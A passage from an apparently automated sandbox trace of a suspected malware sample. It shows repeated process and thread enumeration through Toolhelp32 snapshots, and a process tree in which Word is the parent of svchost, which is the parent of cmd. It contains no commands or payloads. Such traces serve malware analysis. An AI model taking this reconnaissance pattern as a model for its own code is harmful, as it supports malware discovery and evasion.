(hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.192] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.193] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.194] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.194] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.195] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.196] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.196] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.198] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.199] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.199] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.200] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0107.289] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0107.292] Process32FirstW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0107.293] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0107.294] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0107.295] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0107.296] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0107.297] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0107.298] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0107.300] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0107.301] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0107.302] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0107.303] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.304] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.305] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.306] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.307] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.308] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0107.309] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.310] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.312] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0107.313] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.314] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0107.315] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0107.316] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0107.317] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0107.318] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0107.319] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0107.321] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0107.322] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0107.324] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0107.325] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0107.326] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0107.327] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0107.328] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0107.329] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0107.330] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0107.331] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0107.332] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0107.333] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0107.334] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0107.335] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0107.337] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0107.338] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0107.339] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0107.340] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0107.341] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0107.342] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0107.343] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0107.344] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0107.345] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0107.346] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.347] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0107.348] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.349] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0107.350] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0107.352] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0107.353] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0107.354] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0107.355] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.356] Process32NextW (in: hSnapshot=0x13b0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0107.357] CloseHandle (hObject=0x13b0) returned 1 [0107.357] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13b0 [0107.360] Thread32First (hSnapshot=0x13b0, lpte=0x4f1f308) returned 1 [0108.537] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaf0 [0108.539] Process32FirstW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0108.540] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0108.541] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0108.542] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0108.543] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0108.543] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0108.544] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0108.545] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0108.546] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0108.547] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0108.548] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.549] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.549] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.550] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.551] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.552] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0108.553] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.554] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 